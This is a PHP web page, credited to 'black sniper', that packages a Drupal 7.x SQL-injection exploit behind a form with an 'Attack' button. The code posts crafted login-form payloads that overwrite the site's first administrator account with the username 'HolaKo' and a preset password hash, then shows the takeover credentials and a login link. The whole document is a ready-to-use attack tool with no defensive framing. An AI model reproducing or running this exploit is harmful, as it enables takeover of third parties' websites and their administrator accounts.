#drupalexploit

<!Doctype HTML>
<html>
<head>
<link rel="shortcut icon" href="http://shopget24.com/images/sampledata/hack-run.png">
    <title>Drupal Exploit</title>
    <style type="text/css">
    .mymargin{
        margin-top:30px;
        color:white;
        font-family: monospace;
    }
    body{
        background-color:#999;
    }
    a {
    color: red;
    text-decoration: none;
}
    h1 {
    color: #40E1C9
    }
    h2 {
    color : #008000;
    }
    </style>
</head>
<body>
<center>
    <img src="http://shopget24.com/images/sampledata/hack-run.png" width="150" height="160">
    <div class="mymargin">
        <center>
            <h1>Drupal Exploit</h1>
            <h2>Version 7.x</h2>
    <form method="GET" action="">
        Site : <input type="text" name="url" placeholder="Example: www.site.com">
        <input size="50" type="submit" name="submit" value="Attack">
    </form>
    <br>
<?php

error_reporting(0);
if(isset($_GET['submit'])){
    $log = "/user/login";
    $url = "http://".$_GET['url'];
    $holako = "/?q=user";
    $post_data = "name[0;update users set name %3D 'HolaKo' , pass %3D '" . urlencode('$S$DrV4X74wt6bT3BhJa4X0.XO5bHXl/QBnFkdDkYSHj3cE1Z5clGwu') . "' where uid %3D '1';#]=FcUk&name[]=Crap&pass=test&form_build_id=&form_id=user_login&op=Log+in";
    $params = array(
        'http' => array(
        'method' => 'POST',
        'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
        'content' => $post_data
        )
    );
    $ctx = stream_context_create($params);
    $data = file_get_contents($url . '/user/login/', null, $ctx);
    echo "<h3>Testing user/login </h3>";
    if((stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data)|| (stristr($data, 'FcUk Crap') && $data)) {
        echo "<h1>Success</h1><br><h3>User : HolaKo<br>Password : admin<br><h3><a href='{$url}{$log}'>Click here</a>";
    } else {
        echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
    }
}

if(isset($_GET['submit'])){

    $url = "http://".$_GET['url']."/";
    $post_data = "name[0;update users set name %3D 'HolaKo' , pass %3D '" . urlencode('$S$DrV4X74wt6bT3BhJa4X0.XO5bHXl/QBnFkdDkYSHj3cE1Z5clGwu') . "' where uid %3D '1';#]=test3&name[]=Crap&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
    $params = array(
        'http' => array(
        'method' => 'POST',
        'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
        'content' => $post_data
        )
    );
    $ctx = stream_context_create($params);
    $data = file_get_contents($url . '?q=node&destination=node', null, $ctx);
    echo '<h3>Testing at Index</h3>';
    if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
        echo "<h1>Success</h1><br><h3>User : HolaKo<br>Password : admin<br><h3><a href='{$url}{$holako}'>Click here</a>";
    } else {
        echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
    }
}

?>
    <h3>Developed By <a href="http://fb.com/black4sniperr">black sniper</h3>
    </div>
</body>
</html>